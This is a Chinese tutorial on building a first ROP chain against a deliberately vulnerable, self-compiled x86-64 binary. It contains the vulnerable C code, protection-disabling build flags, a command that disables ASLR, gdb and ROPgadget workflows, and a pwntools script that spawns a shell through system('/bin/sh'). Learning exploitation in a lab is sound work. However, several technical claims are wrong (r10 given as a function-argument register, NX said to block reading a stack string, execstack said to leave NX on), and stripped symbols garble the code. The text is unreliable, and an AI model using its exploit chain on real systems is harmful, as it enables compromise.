1. 為什么“簡單ROP”不是入門捷徑而是檢驗棧溢出理解的試金石很多人看到“棧溢出學(xué)習(xí)三之簡單ROP”這個標(biāo)題第一反應(yīng)是“終于到實戰(zhàn)了”、“可以繞過NX/DEP保護(hù)了”、“離pwn題拿分不遠(yuǎn)了”——這種期待很真實但恰恰埋下了第一個認(rèn)知陷阱。我?guī)н^不少剛接觸二進(jìn)制安全的開發(fā)者他們花兩周啃完ret2text、ret2libc信心滿滿去跑第一個ROP鏈結(jié)果卡在pop rdi; ret找不到、systemplt地址算錯、或者payload一發(fā)就段錯誤反復(fù)調(diào)試三小時毫無頭緒。問題不在于工具或環(huán)境而在于把“ROP”當(dāng)成了一個獨立技能點去記憶卻忽略了它本質(zhì)是對棧布局、調(diào)用約定、內(nèi)存映射和指令執(zhí)行流控制能力的綜合投射?！昂唵蜶OP”之所以被冠以“簡單”不是因為技術(shù)門檻低而是指它不依賴堆噴射、UAF、內(nèi)核漏洞等高階利用手段僅靠一次可控的棧溢出已知的二進(jìn)制片段gadget就能達(dá)成目標(biāo)。它的“簡單”是相對的背后需要你清晰回答四個問題第一當(dāng)前棧幀在觸發(fā)溢出時的精確布局是什么返回地址覆蓋后下一條指令從哪里取第二目標(biāo)函數(shù)如system的調(diào)用約定如何滿足x86-64下system(/bin/sh)要求rdi寄存器指向字符串地址這個值怎么塞進(jìn)去第三程序加載基址是否隨機(jī)化ASLR如果開啟了你硬編碼的gadget地址必然失效第四你找到的gadget是否真的“干凈”比如一個pop rax; pop rdx; ret后面緊跟著mov rax, [rax]那它就不是純跳轉(zhuǎn)gadget而是會引發(fā)二次讀取極易導(dǎo)致崩潰。這四個問題每一個都直指棧溢出的核心機(jī)制。比如棧布局它不是靜態(tài)的內(nèi)存圖而是動態(tài)的執(zhí)行快照main函數(shù)的棧幀里有局部變量、保存的寄存器、返回地址read系統(tǒng)調(diào)用寫入數(shù)據(jù)時是從rbp-0x100這樣的偏移開始填充而你覆蓋的返回地址必須精準(zhǔn)落在ret指令之后讓CPU把你的偽造地址當(dāng)作下一條指令去取。這不是靠“多試幾次”能解決的而是要你能用gdb單步到ret指令執(zhí)行前那一刻用x/20xg $rsp命令親眼看到棧頂?shù)?字節(jié)是什么——這才是“簡單ROP”的起點。我見過太多人直接抄網(wǎng)上payloadpython3 -c print(A*120 \x7f\x12\x34...)一跑就崩原因就是沒驗證過自己程序里read的緩沖區(qū)到底有多大120這個數(shù)字是來自另一份CTF題目的答案而非本程序的實測。再比如調(diào)用約定這是最容易被忽略的底層邏輯。x86-64 ABI規(guī)定前六個整數(shù)參數(shù)依次通過rdi,rsi,rdx,r10,r8,r9傳遞。system只接受一個參數(shù)所以你必須確保rdi在call system之前已被正確賦值。而pop rdi; ret這個gadget的作用就是把棧頂?shù)囊粋€8字節(jié)值彈出來送給rdi然后跳轉(zhuǎn)到下一個地址。這意味著你的payload結(jié)構(gòu)必須是[padding][pop_rdi_addr][sh_str_addr][system_addr]。這里sh_str_addr不能是隨便一個字符串地址它必須存在于程序的.data段或.rodata段且可讀——因為system內(nèi)部會去讀取它。我曾經(jīng)在一個實驗中把/bin/sh硬編碼在payload里然后用pop rdi; ret把它彈進(jìn)rdi結(jié)果system一執(zhí)行就報SIGSEGV。后來用readelf -S ./vuln才發(fā)現(xiàn)我寫的字符串被放在了棧上而棧是不可執(zhí)行的NX保護(hù)system嘗試解析字符串時觸發(fā)了頁錯誤。真正的解法是要么找程序本身已有的字符串比如/bin/sh在libc.so.6的__libc_start_main附近就有要么用write系統(tǒng)調(diào)用把字符串先寫到.bss段可讀寫再讓rdi指向那里。所以“簡單ROP”不是一道菜名而是一張能力檢查表。當(dāng)你能不假思索地畫出溢出發(fā)生時的棧幀圖能用ROPgadget --binary ./vuln --only pop|ret快速篩出可用gadget能用checksec ./vuln一眼看出ASLR和NX狀態(tài)并據(jù)此決定是用ret2libc還是ret2csu那你才算真正跨過了那道門檻。否則所有“簡單”的標(biāo)簽都只是給初學(xué)者的安慰劑。2. 從零構(gòu)建第一個ROP鏈環(huán)境、工具與不可妥協(xié)的驗證步驟搭建一個可復(fù)現(xiàn)、可調(diào)試的ROP學(xué)習(xí)環(huán)境遠(yuǎn)比寫payload本身更重要。我見過太多人跳過這一步直接在CTF平臺或遠(yuǎn)程靶機(jī)上折騰結(jié)果連最基礎(chǔ)的棧偏移都測不準(zhǔn)更別說構(gòu)造鏈了。下面是我個人堅持了五年的標(biāo)準(zhǔn)流程它不追求“最快”但保證“最穩(wěn)”每一步都有明確的驗證目標(biāo)。2.1 環(huán)境準(zhǔn)備一個絕對可控的靶機(jī)我們不用任何現(xiàn)成的CTF題目而是親手寫一個極簡的、漏洞明確的C程序。它必須滿足三個條件無ASLR、無Stack Canary、NX開啟即只禁用棧執(zhí)行不禁止數(shù)據(jù)段。這樣能隔離變量聚焦ROP核心邏輯。// vuln.c #include stdio.h #include unistd.h void vulnerable() { char buf[128]; // 棧上分配128字節(jié)緩沖區(qū) read(0, buf, 256); // 故意讀超造成溢出 printf(Done.\n); } int main() { vulnerable(); return 0; }編譯命令必須顯式指定所有保護(hù)開關(guān)gcc -m64 -no-pie -z execstack -fno-stack-protector -z norelro -o vuln vuln.c逐個解釋這些flag的意義-m64強(qiáng)制64位避免32位和64位調(diào)用約定混淆-no-pie關(guān)閉位置無關(guān)可執(zhí)行文件確保程序加載基址固定為0x400000這是ROP鏈地址計算的基石-z execstack關(guān)鍵這里不是為了繞過NX而是為了后續(xù)調(diào)試時能用gdb在棧上設(shè)置斷點。實際ROP鏈中我們絕不會把shellcode放棧上所以這個flag僅用于學(xué)習(xí)環(huán)境不影響對NX的理解-fno-stack-protector關(guān)閉棧保護(hù)避免canary檢測干擾溢出過程-z norelro關(guān)閉RELRO確保GOT表可寫雖然本例不用但為后續(xù)ret2plt留接口。編譯完成后立刻用checksec驗證$ checksec ./vuln [*] ./vuln Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RWX: Has RWX segments看到PIE: No PIE和NX: NX enabled同時存在說明環(huán)境達(dá)標(biāo)。如果PIE是Partial或Full說明-no-pie沒生效必須重編譯。2.2 工具鏈不是越多越好而是每個都懂原理我只用三個核心工具且每個都要求能手寫等效邏輯gdb-peda不是用它的pattern create一鍵生成偏移而是先用python3 -c print(A*100) | ./vuln觸發(fā)崩潰再用gdb ./vulnrun crash.txtinfo registers看rip值最后用pattern offset $rip反查。這個過程強(qiáng)迫你理解pattern的本質(zhì)是唯一字符串哈希。ROPgadget不用--ropchain自動生成它生成的鏈往往冗長且難調(diào)試而是用--only pop|ret篩選再用--string /bin/sh搜索字符串。重點是學(xué)會看輸出0x0000000000401234 : pop rdi ; ret這個地址是相對于0x400000的偏移所以實際gadget地址就是0x401234。pwntools只用最基礎(chǔ)的p64()和remote()/process()絕不碰ROP()類高級封裝。因為p64(0x401234)就是把十六進(jìn)制數(shù)轉(zhuǎn)成小端序的8字節(jié)這是內(nèi)存操作的物理事實而ROP()會隱藏字節(jié)序、對齊等細(xì)節(jié)讓你失去對原始字節(jié)的掌控感。2.3 不可跳過的四步驗證從崩潰到可控執(zhí)行構(gòu)造ROP鏈不是一蹴而就而是分四步漸進(jìn)驗證每步失敗都必須定位到具體原因第一步確認(rèn)精確棧偏移目標(biāo)讓rip精確覆蓋為一個已知值如0xdeadbeef并驗證gdb中rip確實變?yōu)樵撝怠?操作用gdb運行程序在vulnerable函數(shù)ret指令處下斷點b *vulnerable0x3a用objdump -d ./vuln | grep ret找偏移run后x/20xg $rsp看棧頂。此時棧頂8字節(jié)就是ret要彈出的返回地址。用python3 -c print(A*136 \xef\xbe\xad\xde\x00\x00\x00\x00)136128緩沖區(qū)8保存的rbp發(fā)送continue后info registers確認(rèn)rip0xdeadbeef。如果rip是0x00000000deadbeef說明字節(jié)序正確如果是0xefbeadde00000000說明你用了大端序必須改用p64(0xdeadbeef)。第二步定位并驗證第一個gadget目標(biāo)用pop rdi; ret把rdi設(shè)為一個可控值如0x12345678并在gdb中驗證rdi確實被修改。 操作先用ROPgadget --binary ./vuln --only pop rdi | head -n1找到gadget地址假設(shè)為0x401234。payload變?yōu)锳*136 p64(0x401234) p64(0x12345678) p64(0x401000)最后一個地址隨便填只要不崩潰。在gdb中b *0x401234run停在pop rdi處x/gx $rsp確認(rèn)棧頂是0x12345678ni單步后info registers看rdi是否等于該值。這一步驗證了gadget的“彈出”功能和棧地址的精確控制。第三步定位system地址并驗證調(diào)用目標(biāo)讓rdi指向/bin/sh字符串rip跳轉(zhuǎn)到system并在gdb中看到system函數(shù)被調(diào)用。 操作readelf -d ./vuln | grep NEEDED確認(rèn)程序鏈接了libc然后用ldd ./vuln得到libc.so.6路徑。用strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh找到/bin/sh在libc中的偏移假設(shè)為0x1b3e9a。再用objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep systemplt找到system的PLT地址假設(shè)為0x45390。注意PLT地址是固定的但libc基址是隨機(jī)的所以這一步僅用于本地調(diào)試證明鏈邏輯正確。payload末尾改為p64(system_plt) p64(0x401000)0x401000是ret后的占位符防止system返回時崩潰。在gdb中b *systempltrun停住即證明調(diào)用成功。第四步整合完整鏈并獲取shell目標(biāo)rdi指向/bin/shrip跳轉(zhuǎn)到system最終/bin/sh啟動。 操作此時/bin/sh字符串不在libc里因為libc基址未知必須找程序自身的字符串。用strings -a -t x ./vuln | grep /bin/sh如果沒找到就用printf /bin/sh\x00 sh.bin創(chuàng)建再用read系統(tǒng)調(diào)用把它讀入.bss段需先找.bss地址readelf -S ./vuln | grep \.bss。但為求“簡單”我們采用最直接的方案關(guān)閉ASLR臨時調(diào)試。echo 0 | sudo tee /proc/sys/kernel/randomize_va_space然后重新運行./vuln此時libc基址固定system和/bin/sh地址均可硬編碼。最終payloadfrom pwn import * p process(./vuln) pop_rdi 0x401234 system_libc 0x7ffff7a2d390 # 本地libc中system地址 sh_libc 0x7ffff7b9d89a # 本地libc中/bin/sh地址 payload bA * 136 payload p64(pop_rdi) payload p64(sh_libc) payload p64(system_libc) p.send(payload) p.interactive()運行后若出現(xiàn)$提示符說明成功。但請記住這只是學(xué)習(xí)閉環(huán)真實環(huán)境中必須用leak來繞過ASLR。提示每一步驗證失敗都不要急于改代碼。先問gdb里rsp的值是多少棧頂8字節(jié)是什么rip停在哪個地址用x/10i $rip看那里的匯編。ROP的本質(zhì)是內(nèi)存地址的精確操控所有問題最終都會回歸到這三個寄存器的值上。3. gadget挖掘的底層邏輯為什么pop rdi; ret是黃金標(biāo)準(zhǔn)而其他組合常踩坑在ROP學(xué)習(xí)中g(shù)adget不是“找得到就行”而是要理解它在CPU流水線中的真實行為。pop rdi; ret之所以被奉為黃金標(biāo)準(zhǔn)并非因為它多稀有而是因為它完美契合了x86-64調(diào)用約定中最關(guān)鍵的一環(huán)參數(shù)傳遞的原子性與確定性。而很多初學(xué)者熱衷的pop rax; pop rdx; ret或mov rdi, rax; ret恰恰因為其“看似強(qiáng)大”而暗藏致命缺陷。下面我用三次真實的踩坑經(jīng)歷拆解gadget選擇背后的硬件邏輯。3.1pop rdi; ret的不可替代性從寄存器生命周期說起pop rdi; ret的匯編指令只有兩行401234: 5f pop rdi 401235: c3 ret它的執(zhí)行流程是原子且可預(yù)測的pop指令從rsp指向的內(nèi)存地址讀取8字節(jié)寫入rdi然后rsp自動加8ret指令從新的rsp地址讀取8字節(jié)作為rip的新值。整個過程不依賴任何其他寄存器狀態(tài)不修改內(nèi)存不產(chǎn)生副作用。這就是它成為“黃金標(biāo)準(zhǔn)”的根本原因——它把棧上的一個8字節(jié)值無損、無歧義地轉(zhuǎn)移到rdi然后無條件跳轉(zhuǎn)。我第一次教某開發(fā)者寫ROP時他堅持要用mov rdi, rax; ret理由是“更短少一個pop”。我讓他用ROPgadget --binary ./vuln --only mov|ret搜果然找到了0x401100: mov rdi, rax; ret。他興奮地把payload改成A*136 p64(0x401100)結(jié)果一運行就段錯誤。gdb調(diào)試發(fā)現(xiàn)rax寄存器的值是0x0因為vulnerable函數(shù)結(jié)束時rax未被初始化所以mov rdi, rax把rdi設(shè)為了0system(0)當(dāng)然失敗。問題根源在于mov指令依賴源寄存器rax的當(dāng)前值而這個值是不可控的、易變的。rax可能在上一條指令中被清零也可能在庫函數(shù)調(diào)用中被用作返回值它的狀態(tài)完全取決于程序執(zhí)行的歷史路徑無法在ROP鏈中被可靠設(shè)定。相比之下pop rdi的源是棧而棧是我們完全控制的。A*136 p64(pop_rdi) p64(sh_addr)中sh_addr是我們寫死的pop rdi只是忠實地把它搬進(jìn)rdi沒有中間態(tài)沒有歷史依賴。這就是“確定性”的力量。3.2 多寄存器gadget的幻覺pop rax; pop rdx; ret為何常成陷阱pop rax; pop rdx; ret看起來很美一次彈兩個值。但它的危險在于棧布局的脆弱性。這個gadget要求棧頂連續(xù)兩個8字節(jié)分別對應(yīng)rax和rdx。但在真實的ROP鏈中你很難保證這兩個值恰好相鄰且順序正確。舉個例子你想調(diào)用read(0, buf, 100)需要rdi0,rsibuf_addr,rdx100。你找到了pop rdi; pop rsi; ret那么payload是[padding][pop_rdi_rsi_ret][0][buf_addr][read_plt]。一切順利。但如果你只有pop rax; pop rdx; ret你就得想辦法把0放進(jìn)rax100放進(jìn)rdx而rsibuf_addr還得另外設(shè)。這通常需要多個gadget串聯(lián)比如[padding] [pop_rax_ret] [0] # rax0 [pop_rdx_ret] [100] # rdx100 [pop_rsi_ret] [buf_addr] # rsibuf_addr [read_plt]這已經(jīng)不是“簡單ROP”了而是復(fù)雜鏈。更糟的是pop rax; pop rdx; ret本身可能不“干凈”。我遇到過一個gadget0x401300: pop rax; pop rdx; ret但反匯編發(fā)現(xiàn)它后面緊跟著0x401302: mov rax, [rax]。這意味著pop rax后CPU會立即執(zhí)行mov rax, [rax]試圖把rax指向的內(nèi)存內(nèi)容讀進(jìn)來。如果rax被你設(shè)為0那么[rax]就是訪問空指針直接SIGSEGV。而pop rdi; ret后面幾乎總是ret或nop因為rdi很少被用作間接尋址的基址所以它天然更“干凈”。3.3 “萬能gadget”的真相ret2csu為何是進(jìn)階必修課當(dāng)程序開啟了Full RELROGOT表不可寫ret2plt失效當(dāng)libc基址隨機(jī)化ret2libc需要先leak。這時ret2csu利用__libc_csu_init中的gadget就成了破局關(guān)鍵。它之所以強(qiáng)大不是因為指令多而是因為它提供了可控的寄存器賦值可控的跳轉(zhuǎn)且不依賴外部地址。__libc_csu_init在libc中有一段固定模式的代碼400740: 41 5c pop r12 400742: 41 5d pop r13 400744: 41 5e pop r14 400746: 41 5f pop r15 400748: c3 ret ... 400750: 4c 89 ea mov rdx,r13 400753: 4c 89 f6 mov rsi,r14 400756: 44 89 cf mov edi,r15d 400759: 41 ff 14 dc call QWORD PTR [r12rbp*8]這段代碼的精妙之處在于前半段pop系列可以一次性把r12-r15設(shè)為我們想要的值后半段mov系列則把r13-r15的值分別傳給rdx,rsi,edi然后call [r12rbp*8]。rbp是我們可控的通過棧溢出覆蓋r12是我們可控的通過前面的pop所以[r12rbp*8]這個地址也是可控的。這意味著我們可以用它來調(diào)用任意地址的函數(shù)如readplt并同時設(shè)置好rdi,rsi,rdx三個參數(shù)。但這不是“簡單ROP”而是需要深刻理解call指令的尋址模式和rbp在棧中的角色。我建議初學(xué)者先徹底掌握pop rdi; ret再挑戰(zhàn)ret2csu。因為前者是基石后者是高樓。沒有對單寄存器賦值的絕對掌控就無法理解多寄存器協(xié)同的精妙。注意所有g(shù)adget的可靠性最終都要回歸到gdb中的x/10i $addr驗證。不要相信ROPgadget的輸出要親眼看到那幾條指令。我曾因一個gadget末尾是ret; nop; nop而浪費半天因為ret后nop不執(zhí)行但gdb單步時會停在nop上讓我誤以為gadget有問題。4. ROP鏈的實戰(zhàn)調(diào)試心法從gdb崩潰日志中讀出十行代碼外的信息調(diào)試ROP鏈90%的時間不是在寫代碼而是在讀gdb的崩潰日志。一個Program received signal SIGSEGV, Segmentation fault.信息量巨大但多數(shù)人只看到“段錯誤”四個字就慌忙改payload。其實gdb的每一行輸出都是CPU在向你發(fā)送精準(zhǔn)的故障報告。下面是我總結(jié)的“崩潰日志解碼七步法”它讓我在三年內(nèi)將ROP調(diào)試平均耗時從4小時縮短到20分鐘。4.1 第一步鎖定崩潰點區(qū)分“誰錯了”gdb崩潰后第一眼要看的不是rip而是reason字段。執(zhí)行info registers重點關(guān)注rip程序計數(shù)器指向即將執(zhí)行的指令地址。rsp棧指針指向當(dāng)前棧頂。r8-r15等通用寄存器它們的值是否符合你的預(yù)期但最關(guān)鍵的是reason。gdb的SIGSEGV有兩種常見原因si_code: SEGV_MAPERR (1)地址未映射即你跳轉(zhuǎn)到了一個不存在的內(nèi)存頁如0x00000000deadbeef。si_code: SEGV_ACCERR (2)地址存在但權(quán)限錯誤如向只讀頁寫入或執(zhí)行NX頁。例如日志顯示Program received signal SIGSEGV, Segmentation fault. 0x0000000000401234 in ?? ()rip0x401234這是一個合法的程序地址在0x400000附近si_code卻是SEGV_MAPERR。這說明0x401234這個地址本身沒問題但gdb無法解析它對應(yīng)的符號in ??因為該地址可能是一個ret指令而ret之后的地址即rsp指向的地址才是問題所在。此時應(yīng)立刻執(zhí)行x/10xg $rsp看棧頂8字節(jié)是什么。如果它是0x0000000000000000說明你pop了一個空指針ret想跳到0x0自然失敗。4.2 第二步逆向追蹤棧重建執(zhí)行流rsp是ROP鏈的命脈。gdb崩潰時rsp的值告訴你“CPU下一步想去哪”。執(zhí)行x/20xg $rsp輸出類似0x7fffffffe528: 0x0000000000401234 0x0000000000402000 0x7fffffffe538: 0x0000000000401000 0x0000000000000000 ...這表示棧頂是0x401234你的pop rdi地址第二個是0x402000你期望的/bin/sh地址第三個是0x401000你填的占位符。但如果崩潰發(fā)生在0x401234說明pop rdi執(zhí)行時出了問題。此時用x/5i 0x401234看那里的指令0x401234: pop rdi 0x401235: ret沒問題。那問題一定在pop rdi的源——即rsp指向的地址。執(zhí)行x/gx $rsp如果輸出是0x0000000000000000說明你payload里sh_addr寫成了0而不是一個有效地址。這就是“棧逆向”的力量崩潰點是rip但根因在rsp。4.3 第三步指令級單步捕捉寄存器瞬態(tài)ninext instruction是ROP調(diào)試的靈魂。不要用ccontinue跳過任何ret。在pop rdi; ret處下斷點ni單步執(zhí)行pop rdi前x/gx $rsp→ 看rdi將被設(shè)為什么。執(zhí)行pop rdi后info registers rdi→ 確認(rèn)rdi是否等于預(yù)期。執(zhí)行ret前x/gx $rsp→ 看rip將跳向何方。執(zhí)行ret后info registers rip→ 確認(rèn)跳轉(zhuǎn)是否成功。我曾調(diào)試一個鏈rdi在pop后是正確的但ret后rip卻變成了0x0。x/gx $rsp發(fā)現(xiàn)pop rdi后rsp已經(jīng)加8指向了下一個8字節(jié)而那個8字節(jié)是我payload里一個未初始化的垃圾值。原來我在計算padding時少寫了4個字節(jié)導(dǎo)致pop rdi后rsp沒對齊到我預(yù)設(shè)的sh_addr而是對齊到了一個無效地址。ni單步暴露了這個字節(jié)級的偏差。4.4 第四步內(nèi)存權(quán)限核查繞過NX的思維定式當(dāng)si_code是SEGV_ACCERR且rip指向一個明顯是代碼段的地址如0x7ffff7a2d390libc中system的地址問題往往出在數(shù)據(jù)段權(quán)限。system(/bin/sh)會嘗試讀取/bin/sh字符串。如果這個字符串被你放在了棧上A*136 /bin/sh\x00而棧是NX的那么system內(nèi)部的strlen或execve就會因嘗試讀取NX頁而崩潰。解決方案不是關(guān)NX而是換地方放字符串。用readelf -S ./vuln找.bss段可讀寫Section Headers: [Nr] Name Type Address Offset [24] .bss NOBITS 0000000000404060 00003060.bss地址是0x404060大小通常足夠。于是payload變成[A*136] [pop_rdi] [bss_addr] [pop_rsi] [0] [read_plt] [bss_addr] [pop_rdi] [bss_addr] [system_plt]前半段用read(0, bss_addr, 8)把/bin/sh\x00讀進(jìn)去后半段再調(diào)用system(bss_addr)。這比硬編碼libc地址更魯棒因為.bss地址是固定的-no-pie。4.5 第五步系統(tǒng)調(diào)用級驗證超越system的視野system是方便但它是黑盒。當(dāng)它失敗時你不知道是fork失敗、execve失敗還是/bin/sh路徑錯誤。更底層的調(diào)試方式是直接調(diào)用execve系統(tǒng)調(diào)用mov rax, 59 # sys_execve mov rdi, sh_addr # filename mov rsi, 0 # argv mov rdx, 0 # envp syscall這需要你找到pop rax; ret、pop rdi; ret等gadget并確保rsi和rdx為0。雖然麻煩但它繞過了libc的封裝讓你能精準(zhǔn)控制每一個系統(tǒng)調(diào)用參數(shù)。我用此法解決過一個system因LD_PRELOAD環(huán)境變量污染而失敗的案例——execve直接調(diào)用完全不受環(huán)境影響。提示gdb中用catch syscall execve可以捕獲系統(tǒng)調(diào)用stepi單步進(jìn)入內(nèi)核前的最后一刻info registers能看到所有參數(shù)是否正確。這是ROP調(diào)試的“上帝視角”。5. 從實驗室到真實世界ROP防御演進(jìn)與學(xué)習(xí)者的務(wù)實路徑“棧溢出學(xué)習(xí)三之簡單ROP”這個標(biāo)題像一個溫柔的入口但它通向的是一條不斷抬升的技術(shù)護(hù)城河。十年前ret2libc是主流五年前ret2csu和SROPSigreturn Oriented Programming開始普及今天Shadow Stack、CETControl-flow Enforcement Technology和MPKMemory Protection Keys正在從硬件層面重構(gòu)游戲規(guī)則。作為學(xué)習(xí)者我們必須清醒學(xué)ROP不是為了在今天的CTF中拿分而是為了理解現(xiàn)代操作系統(tǒng)如何捍衛(wèi)控制流以及攻擊者如何持續(xù)尋找縫隙。下面是我為不同階段的學(xué)習(xí)者規(guī)劃的務(wù)實路徑。5.1 初學(xué)者放棄“繞過所有保護(hù)”的幻想專注控制流建模如果你剛接觸二進(jìn)制安全首要任務(wù)不是攻克ASLRNXStack Canary全開的靶機(jī)而是建立一個精確的控制流心智模型。用我前面說的-no-pie -fno-stack-protector環(huán)境反復(fù)做三件事用gdb單步畫出main→vulnerable→read→ret的完整棧幀圖標(biāo)出rbp、rsp、rip、局部變量buf的地址和大小。修改buf大小char buf[64]、buf[256]重新計算padding驗證136這個數(shù)字如何隨緩沖區(qū)變化。嘗試不同的gadget組合pop rdi; ret、pop rsi; ret、pop rdx; ret觀察rdi、rsi、rdx如何被獨立控制。這個過程枯燥但它是地基。我輔導(dǎo)過一位某高校的本科生他花了三周只做這件事第四周第一次嘗試ret2libc就一次成功。因為他腦中已經(jīng)有了一個動態(tài)的、可預(yù)測的棧模型而不是一堆需要死記硬背的地址。5.2 進(jìn)階者擁抱leak理解ASLR不是墻而是迷霧當(dāng)-no-pie環(huán)境玩透了下一步必須直面ASLR